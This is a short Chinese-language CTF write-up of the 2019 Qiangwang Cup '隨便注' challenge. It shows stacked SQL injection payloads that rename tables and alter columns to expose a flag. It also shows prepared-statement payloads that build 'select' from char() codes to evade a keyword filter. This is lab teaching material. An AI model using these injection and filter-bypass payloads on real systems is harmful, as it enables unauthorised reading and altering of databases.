CTF[2019 強網杯]隨便注.
阿新 • • 發佈:2020-10-12
照例and or測試一下
發現表裡所有資料,但沒有flag
嘗試一下堆疊注入
可以用堆疊注入,接著看錶
發現兩個表,看看words
1';desc words;#
發現這個查詢可能是在words這個表進行的。
但是沒有flag
看看1919810931114514這個
注意:數字表名要用反引號。`1919810931114514`
1';desc `1919810931114514`;#
看看select有沒有被過濾
過濾了,union那些也用不了
想到剛才發現words表,又可以堆疊查詢,所以試試能不能改表名
把words改成words1,然後把1919810931114514改成words,再把列名flag改成id,結合上面的1' or 1=1#爆出表所有內容就可以得到flag
1';rename table words to words1;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
再試一次1' or 1=1#
成功獲得flag
然後這裡可用第二種方法,sql預處理
PREPARE name from '[my sql sequece]'; //預定義SQL語句
EXECUTE name; //執行預定義SQL語句
( DEALLOCATE || DROP) PREPARE name; //刪除預定義SQL 語句
預處理也可以傳遞變數
SET @tn = 'hahaha'; //儲存表名
SET @sql = concat('select * from ', @tn); //儲存SQL語句
PREPARE name from @sql; //預定義SQL語句
EXECUTE name; //執行預定義SQL語句
(DEALLOCATE || DROP) PREPARE sqla; //刪除預定義SQL語句
這裡可利用 char() 函式將select的ASCII碼轉換為select字串,接著利用concat()函式進行拼接得到select查詢語句,從而繞過過濾。或者直接用concat()函式拼接select來繞過。
char(115,101,108,101,99,116)<----->select
payload1:不用變數
1';PREPARE du1ge from concat(char(115,101,108,101,99,116), ' * from `1919810931114514` ');EXECUTE du1ge;#
payload2:用變數
1';SET @sqli=concat(char(115,101,108,101,99,116),'* from `1919810931114514`');PREPARE du1ge from @sqli;EXECUTE du1ge;#
payload3:不用char
1';PREPARE du1ge from concat('s','elect', ' * from `1919810931114514` ');EXECUTE du1ge;#
但事實上堆疊注入可作用的情況比較少
不過這題還是可以學到很多的。